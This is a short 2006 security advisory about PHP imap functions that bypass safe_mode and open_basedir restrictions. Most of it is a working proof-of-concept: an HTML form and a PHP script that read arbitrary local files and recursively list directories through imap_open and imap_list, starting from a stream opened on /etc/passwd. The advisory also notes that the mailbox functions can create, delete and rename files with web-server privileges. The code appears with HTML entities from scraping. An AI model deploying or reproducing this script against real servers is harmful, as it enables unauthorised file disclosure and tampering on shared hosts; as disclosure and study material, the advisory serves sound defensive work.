Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11642
HistoryMar 01, 2006 - 12:00 a.m.

(PHP) imap functions bypass safemode and open_basedir restrictions

2006-03-0100:00:00
vulners.com
8

Vulnerability in c-client library (tested with versions 2000,2001,2004), mail_open
could be used to open stream to local files.

For php and imap module

imap_open allow to bypass safemode and open_basedir restrictions.
Use imap_body or others to view a file and imap_list to recursively list a directory.

s/mailbox/file :)
imap_createmailbox
imap_deletemailbox
imap_renamemailbox
to create,delete,rename files with apache privileges.

code

<form action="" method="post">
<select name="switch">
<option selected="selected" value="file">View file</option>
<option value="dir">View dir</option>
</select>
<input type="text" size="60" name="string">
<input type="submit" value="go">
</form>

<?php
$string = !empty($_POST['string']) ? $_POST['string'] : 0;
$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;

    if &#40;$string &amp;&amp; $switch == &quot;file&quot;&#41; {
            $stream = imap_open&#40;$string, &quot;&quot;, &quot;&quot;&#41;;
            if &#40;$stream == FALSE&#41;
                    die&#40;&quot;Can&#39;t open imap stream&quot;&#41;;

            $str = imap_body&#40;$stream, 1&#41;;
            if &#40;!empty&#40;$str&#41;&#41;
                    echo &quot;&lt;pre&gt;&quot;.$str.&quot;&lt;/pre&gt;&quot;;
            imap_close&#40;$stream&#41;;
    } elseif &#40;$string &amp;&amp; $switch == &quot;dir&quot;&#41; {
            $stream = imap_open&#40;&quot;/etc/passwd&quot;, &quot;&quot;, &quot;&quot;&#41;;
            if &#40;$stream == FALSE&#41;
                    die&#40;&quot;Can&#39;t open imap stream&quot;&#41;;

            $string = explode&#40;&quot;|&quot;,$string&#41;;
            if &#40;count&#40;$string&#41; &gt; 1&#41;
                    $dir_list = imap_list&#40;$stream, trim&#40;$string[0]&#41;, trim&#40;$string[1]&#41;&#41;;
            else
                    $dir_list = imap_list&#40;$stream, trim&#40;$string[0]&#41;, &quot;*&quot;&#41;;
            echo &quot;&lt;pre&gt;&quot;;
            for &#40;$i = 0; $i &lt; count&#40;$dir_list&#41;; $i++&#41;
                    echo &quot;$dir_list[$i]&#92;n&quot;;
            echo &quot;&lt;/pre&gt;&quot;;
            imap_close&#40;$stream&#41;;
    }

?>

################